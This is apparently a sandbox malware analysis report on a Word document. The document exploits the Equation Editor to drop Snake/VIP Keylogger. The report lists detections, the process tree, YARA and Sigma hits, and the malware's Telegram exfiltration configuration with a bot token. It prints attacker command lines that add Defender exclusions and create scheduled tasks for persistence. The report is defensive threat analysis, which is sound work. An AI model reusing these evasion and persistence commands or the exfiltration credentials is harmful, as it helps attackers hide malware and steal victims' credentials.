Edit tour

Windows Analysis Report
order072724.docx.doc

Overview

General Information

Sample name:	order072724.docx.doc
Analysis ID:	1483266
MD5:	d89c00ac44e63c962db8c02cbf0bab93
SHA1:	2ac1b269e93b1a0c0068b68d8d1d4f9e4a5cc06a
SHA256:	5dc96311ffca3ae13e805020a61d276e2a2b1032e2ecc87a05f86c346e90d47c
Tags:	doc
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Microsoft Office launches external ms-search protocol handler (WebDAV)

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains potential unpacker

Adds a directory exclusion to Windows Defender

Contains an external reference to another file

Document exploit detected (process start blacklist hit)

Drops PE files with a suspicious file extension

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for dropped file

Microsoft Office drops suspicious files

Office drops RTF file

Office equation editor drops PE file

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Office viewer loads remote template

Sigma detected: Equation Editor Network Connection

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Microsoft Office Child Process

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document contains Microsoft Equation 3.0 OLE entries

Document contains embedded VBA macros

Document misses a certain OLE stream usually present in this Microsoft Office document type

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Powershell Defender Exclusion

Sigma detected: SCR File Write Event

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Suspicious Screensaver Binary File Creation

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 748 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 3408 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

swagodi78811.scr (PID: 3468 cmdline: "C:\Users\user\AppData\Roaming\swagodi78811.scr" MD5: C448536AEEA36B80A15D639E31C7B847)

powershell.exe (PID: 3544 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\swagodi78811.scr" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

powershell.exe (PID: 3620 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

schtasks.exe (PID: 3704 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gRpkBp" /XML "C:\Users\user\AppData\Local\Temp\tmpD135.tmp" MD5: 2003E9B15E1C502B146DAD2E383AC1E3)

swagodi78811.scr (PID: 3864 cmdline: "C:\Users\user\AppData\Roaming\swagodi78811.scr" MD5: C448536AEEA36B80A15D639E31C7B847)

swagodi78811.scr (PID: 3880 cmdline: "C:\Users\user\AppData\Roaming\swagodi78811.scr" MD5: C448536AEEA36B80A15D639E31C7B847)

taskeng.exe (PID: 3888 cmdline: taskeng.exe {52F5B264-C702-43C6-8445-EB0747C55549} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1] MD5: 65EA57712340C09B1B0C427B4848AE05)

gRpkBp.exe (PID: 4016 cmdline: C:\Users\user\AppData\Roaming\gRpkBp.exe MD5: C448536AEEA36B80A15D639E31C7B847)

powershell.exe (PID: 4084 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

powershell.exe (PID: 2504 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

schtasks.exe (PID: 3244 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gRpkBp" /XML "C:\Users\user\AppData\Local\Temp\tmpED3D.tmp" MD5: 2003E9B15E1C502B146DAD2E383AC1E3)

gRpkBp.exe (PID: 2060 cmdline: "C:\Users\user\AppData\Roaming\gRpkBp.exe" MD5: C448536AEEA36B80A15D639E31C7B847)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "Telegram", "Bot Token": "7222270709:AAEe8p8C3uTJGMDBeQJ80Oh9drnBDJzIaE4", "Chat id": "-4219735485"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9F4A4ED3.doc	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0x4cbe0:$obj2: \objdata 0x4cbfa:$obj3: \objupdate
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\swagodi[1].doc	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0x4cbe0:$obj2: \objdata 0x4cbfa:$obj3: \objupdate

Memory Dumps

Source	Rule	Description	Author	Strings
00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x482e:$a1: get_encryptedPassword 0x4b5f:$a2: get_encryptedUsername 0x463e:$a3: get_timePasswordChanged 0x4747:$a4: get_passwordField 0x4844:$a5: set_encryptedPassword 0x5eeb:$a7: get_logins 0x5e37:$a10: KeyLoggerEventArgs 0x5a9c:$a11: KeyLoggerEventArgsEventHandler
00000014.00000002.663140063.000000000043C000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2df9e:$a1: get_encryptedPassword 0x715be:$a1: get_encryptedPassword 0xb49de:$a1: get_encryptedPassword 0x2e2cf:$a2: get_encryptedUsername 0x718ef:$a2: get_encryptedUsername 0xb4d0f:$a2: get_encryptedUsername 0x2ddae:$a3: get_timePasswordChanged 0x713ce:$a3: get_timePasswordChanged 0xb47ee:$a3: get_timePasswordChanged 0x2deb7:$a4: get_passwordField 0x714d7:$a4: get_passwordField 0xb48f7:$a4: get_passwordField 0x2dfb4:$a5: set_encryptedPassword 0x715d4:$a5: set_encryptedPassword 0xb49f4:$a5: set_encryptedPassword 0x2f65b:$a7: get_logins 0x72c7b:$a7: get_logins 0xb609b:$a7: get_logins 0x2f5a7:$a10: KeyLoggerEventArgs 0x72bc7:$a10: KeyLoggerEventArgs 0xb5fe7:$a10: KeyLoggerEventArgs
00000014.00000002.663684485.00000000023F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000001D.00000002.663663825.00000000022F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: swagodi78811.scr PID: 3468	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: swagodi78811.scr PID: 3468	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: swagodi78811.scr PID: 3468	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: swagodi78811.scr PID: 3468	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x76bed:$a1: get_encryptedPassword 0x76f14:$a2: get_encryptedUsername 0x76a07:$a3: get_timePasswordChanged 0x76b10:$a4: get_passwordField 0x76c03:$a5: set_encryptedPassword 0x78f1e:$a7: get_logins 0x78e6a:$a10: KeyLoggerEventArgs 0x78ad3:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: swagodi78811.scr PID: 3880	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: swagodi78811.scr PID: 3880	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: swagodi78811.scr PID: 3880	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: swagodi78811.scr PID: 3880	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x306bb:$a1: get_encryptedPassword 0x309e2:$a2: get_encryptedUsername 0x304d5:$a3: get_timePasswordChanged 0x305de:$a4: get_passwordField 0x306d1:$a5: set_encryptedPassword 0x329ec:$a7: get_logins 0x32938:$a10: KeyLoggerEventArgs 0x325a1:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: gRpkBp.exe PID: 2060	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: gRpkBp.exe PID: 2060	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
10.2.swagodi78811.scr.316cb90.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.swagodi78811.scr.316cb90.4.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.swagodi78811.scr.316cb90.4.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.swagodi78811.scr.316cb90.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bc2e:$a1: get_encryptedPassword 0x2bf5f:$a2: get_encryptedUsername 0x2ba3e:$a3: get_timePasswordChanged 0x2bb47:$a4: get_passwordField 0x2bc44:$a5: set_encryptedPassword 0x2d2eb:$a7: get_logins 0x2d237:$a10: KeyLoggerEventArgs 0x2ce9c:$a11: KeyLoggerEventArgsEventHandler
10.2.swagodi78811.scr.316cb90.4.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x39a63:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x39106:$a3: \Google\Chrome\User Data\Default\Login Data 0x39363:$a4: \Orbitum\User Data\Default\Login Data 0x39d42:$a5: \Kometa\User Data\Default\Login Data
10.2.swagodi78811.scr.316cb90.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c85f:$s1: UnHook 0x2c866:$s2: SetHook 0x2c86e:$s3: CallNextHook 0x2c87b:$s4: _hook
20.2.swagodi78811.scr.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
20.2.swagodi78811.scr.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
20.2.swagodi78811.scr.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
20.2.swagodi78811.scr.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
20.2.swagodi78811.scr.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2da2e:$a1: get_encryptedPassword 0x2dd5f:$a2: get_encryptedUsername 0x2d83e:$a3: get_timePasswordChanged 0x2d947:$a4: get_passwordField 0x2da44:$a5: set_encryptedPassword 0x2f0eb:$a7: get_logins 0x2f037:$a10: KeyLoggerEventArgs 0x2ec9c:$a11: KeyLoggerEventArgsEventHandler
20.2.swagodi78811.scr.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b863:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3af06:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b163:$a4: \Orbitum\User Data\Default\Login Data 0x3bb42:$a5: \Kometa\User Data\Default\Login Data
10.2.swagodi78811.scr.3129570.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.swagodi78811.scr.3129570.6.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.swagodi78811.scr.3129570.6.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
20.2.swagodi78811.scr.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e65f:$s1: UnHook 0x2e666:$s2: SetHook 0x2e66e:$s3: CallNextHook 0x2e67b:$s4: _hook
10.2.swagodi78811.scr.3129570.6.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bc2e:$a1: get_encryptedPassword 0x2bf5f:$a2: get_encryptedUsername 0x2ba3e:$a3: get_timePasswordChanged 0x2bb47:$a4: get_passwordField 0x2bc44:$a5: set_encryptedPassword 0x2d2eb:$a7: get_logins 0x2d237:$a10: KeyLoggerEventArgs 0x2ce9c:$a11: KeyLoggerEventArgsEventHandler
10.2.swagodi78811.scr.3129570.6.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x39a63:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x39106:$a3: \Google\Chrome\User Data\Default\Login Data 0x39363:$a4: \Orbitum\User Data\Default\Login Data 0x39d42:$a5: \Kometa\User Data\Default\Login Data
10.2.swagodi78811.scr.3129570.6.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c85f:$s1: UnHook 0x2c866:$s2: SetHook 0x2c86e:$s3: CallNextHook 0x2c87b:$s4: _hook
10.2.swagodi78811.scr.316cb90.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.swagodi78811.scr.316cb90.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
10.2.swagodi78811.scr.316cb90.4.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.swagodi78811.scr.316cb90.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.swagodi78811.scr.316cb90.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2da2e:$a1: get_encryptedPassword 0x70e4e:$a1: get_encryptedPassword 0x2dd5f:$a2: get_encryptedUsername 0x7117f:$a2: get_encryptedUsername 0x2d83e:$a3: get_timePasswordChanged 0x70c5e:$a3: get_timePasswordChanged 0x2d947:$a4: get_passwordField 0x70d67:$a4: get_passwordField 0x2da44:$a5: set_encryptedPassword 0x70e64:$a5: set_encryptedPassword 0x2f0eb:$a7: get_logins 0x7250b:$a7: get_logins 0x2f037:$a10: KeyLoggerEventArgs 0x72457:$a10: KeyLoggerEventArgs 0x2ec9c:$a11: KeyLoggerEventArgsEventHandler 0x720bc:$a11: KeyLoggerEventArgsEventHandler
10.2.swagodi78811.scr.316cb90.4.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b863:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7ec83:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3af06:$a3: \Google\Chrome\User Data\Default\Login Data 0x7e326:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b163:$a4: \Orbitum\User Data\Default\Login Data 0x7e583:$a4: \Orbitum\User Data\Default\Login Data 0x3bb42:$a5: \Kometa\User Data\Default\Login Data 0x7ef62:$a5: \Kometa\User Data\Default\Login Data
10.2.swagodi78811.scr.316cb90.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e65f:$s1: UnHook 0x71a7f:$s1: UnHook 0x2e666:$s2: SetHook 0x71a86:$s2: SetHook 0x2e66e:$s3: CallNextHook 0x71a8e:$s3: CallNextHook 0x2e67b:$s4: _hook 0x71a9b:$s4: _hook
10.2.swagodi78811.scr.3129570.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.swagodi78811.scr.3129570.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
10.2.swagodi78811.scr.3129570.6.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.swagodi78811.scr.3129570.6.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.swagodi78811.scr.3129570.6.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2da2e:$a1: get_encryptedPassword 0x7104e:$a1: get_encryptedPassword 0xb446e:$a1: get_encryptedPassword 0x2dd5f:$a2: get_encryptedUsername 0x7137f:$a2: get_encryptedUsername 0xb479f:$a2: get_encryptedUsername 0x2d83e:$a3: get_timePasswordChanged 0x70e5e:$a3: get_timePasswordChanged 0xb427e:$a3: get_timePasswordChanged 0x2d947:$a4: get_passwordField 0x70f67:$a4: get_passwordField 0xb4387:$a4: get_passwordField 0x2da44:$a5: set_encryptedPassword 0x71064:$a5: set_encryptedPassword 0xb4484:$a5: set_encryptedPassword 0x2f0eb:$a7: get_logins 0x7270b:$a7: get_logins 0xb5b2b:$a7: get_logins 0x2f037:$a10: KeyLoggerEventArgs 0x72657:$a10: KeyLoggerEventArgs 0xb5a77:$a10: KeyLoggerEventArgs
10.2.swagodi78811.scr.3129570.6.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b863:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7ee83:$a2: \Comodo\Dragon\User Data\Default\Login Data 0xc22a3:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3af06:$a3: \Google\Chrome\User Data\Default\Login Data 0x7e526:$a3: \Google\Chrome\User Data\Default\Login Data 0xc1946:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b163:$a4: \Orbitum\User Data\Default\Login Data 0x7e783:$a4: \Orbitum\User Data\Default\Login Data 0xc1ba3:$a4: \Orbitum\User Data\Default\Login Data 0x3bb42:$a5: \Kometa\User Data\Default\Login Data 0x7f162:$a5: \Kometa\User Data\Default\Login Data 0xc2582:$a5: \Kometa\User Data\Default\Login Data
10.2.swagodi78811.scr.3129570.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e65f:$s1: UnHook 0x71c7f:$s1: UnHook 0xb509f:$s1: UnHook 0x2e666:$s2: SetHook 0x71c86:$s2: SetHook 0xb50a6:$s2: SetHook 0x2e66e:$s3: CallNextHook 0x71c8e:$s3: CallNextHook 0xb50ae:$s3: CallNextHook 0x2e67b:$s4: _hook 0x71c9b:$s4: _hook 0xb50bb:$s4: _hook
Click to see the 28 entries

Sigma Signatures

System Summary

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 104.21.52.88, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3408, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49168

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\swagodi78811.scr", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\swagodi78811.scr", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\swagodi78811.scr", ParentImage: C:\Users\user\AppData\Roaming\swagodi78811.scr, ParentProcessId: 3468, ParentProcessName: swagodi78811.scr, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\swagodi78811.scr", ProcessId: 3544, ProcessName: powershell.exe

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Users\user\AppData\Roaming\swagodi78811.scr", CommandLine: "C:\Users\user\AppData\Roaming\swagodi78811.scr", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\swagodi78811.scr, NewProcessName: C:\Users\user\AppData\Roaming\swagodi78811.scr, OriginalFileName: C:\Users\user\AppData\Roaming\swagodi78811.scr, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3408, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Users\user\AppData\Roaming\swagodi78811.scr", ProcessId: 3468, ProcessName: swagodi78811.scr

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3408, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\swagodi[1].scr

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gRpkBp" /XML "C:\Users\user\AppData\Local\Temp\tmpD135.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gRpkBp" /XML "C:\Users\user\AppData\Local\Temp\tmpD135.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\swagodi78811.scr", ParentImage: C:\Users\user\AppData\Roaming\swagodi78811.scr, ParentProcessId: 3468, ParentProcessName: swagodi78811.scr, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gRpkBp" /XML "C:\Users\user\AppData\Local\Temp\tmpD135.tmp", ProcessId: 3704, ProcessName: schtasks.exe

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Source: DNS query

Author: Brandon George (blog post), Thomas Patzke: Data: Image: C:\Users\user\AppData\Roaming\swagodi78811.scr, QueryName: checkip.dyndns.org

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49161, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, Initiated: true, ProcessId: 748, Protocol: tcp, SourceIp: 104.21.52.88, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3408, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\swagodi[1].scr

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 748, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\swagodi78811.scr", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\swagodi78811.scr", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\swagodi78811.scr", ParentImage: C:\Users\user\AppData\Roaming\swagodi78811.scr, ParentProcessId: 3468, ParentProcessName: swagodi78811.scr, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\swagodi78811.scr", ProcessId: 3544, ProcessName: powershell.exe

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 748, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3544, TargetFilename: C:\Users\user\AppData\Local\Temp\zanpl0wu.bwl.ps1

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

